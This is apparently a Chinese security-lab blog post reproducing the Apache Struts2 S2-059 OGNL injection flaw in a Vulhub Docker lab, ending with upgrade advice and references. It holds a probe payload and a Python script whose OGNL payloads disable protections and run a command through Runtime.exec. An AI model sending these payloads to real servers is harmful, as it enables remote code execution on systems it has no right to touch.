网安引领时代,弥天点亮未来
![ea1dbffc7377b21e08ec008a86185cb9.png](https://i-blog.csdnimg.cn/blog_migrate/6a0c8d114e8a2094c15d5f33c4e03903.png)
![ea1dbffc7377b21e08ec008a86185cb9.png](https://i-blog.csdnimg.cn/blog_migrate/6a0c8d114e8a2094c15d5f33c4e03903.png)
![ea1dbffc7377b21e08ec008a86185cb9.png](https://i-blog.csdnimg.cn/blog_migrate/6a0c8d114e8a2094c15d5f33c4e03903.png)
虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。
docker-compose up -d
1、访问漏洞环境
2、POC验证,传入ognl表达式的poc: %{yun*zui} 这里需要URL编码
http://192.168.60.131:8080/?id=%25%7Byun*zui%7D
从测试结果可以看到id属性返回了yun*zui的结果,漏洞存在!
3、简单python脚本进行漏洞利用
import requestsurl ="http://192.168.60.131:8080"data1 = { "id":"%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"}data2 = { "id":"%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch/tmp/yunzui'))}"}res1 =requests.post(url, data=data1)# print(res1.text)res2 = requests.post(url,data=data2)# print(res2.text)
运行完脚本之后,将远程执行
touch/tmp/yunzui
4、命令执行结果进入docker查看,成功执行
docker-compose exec struts2 bashls -al /tmp
![ea1dbffc7377b21e08ec008a86185cb9.png](https://i-blog.csdnimg.cn/blog_migrate/6a0c8d114e8a2094c15d5f33c4e03903.png)
升级到Struts2.5.22或更高版本
或者开启ONGL表达式注入保护措施
![ea1dbffc7377b21e08ec008a86185cb9.png](https://i-blog.csdnimg.cn/blog_migrate/6a0c8d114e8a2094c15d5f33c4e03903.png)
https://cert.360.cn/warning/detail?id=d2b39f48fd31f3b36cc957f23d4777af
https://cwiki.apache.org/confluence/display/WW/S2-059
https://codeload.github.com/vulhub/vulhub/zip/master
![137adda135bd10512a1f3be4b14b738d.gif](https://i-blog.csdnimg.cn/blog_migrate/4e2f8f2c7cfc81df5586dfc9bec02485.gif)
知识分享完了
喜欢别忘了关注我们哦~
予以风动,必降弥天之润!弥 天
安全实验室
![1bcdaf26e69759238262fb95c4e8363a.png](https://i-blog.csdnimg.cn/blog_migrate/3bb8abfb92b2ec6fe262212587315a26.jpeg)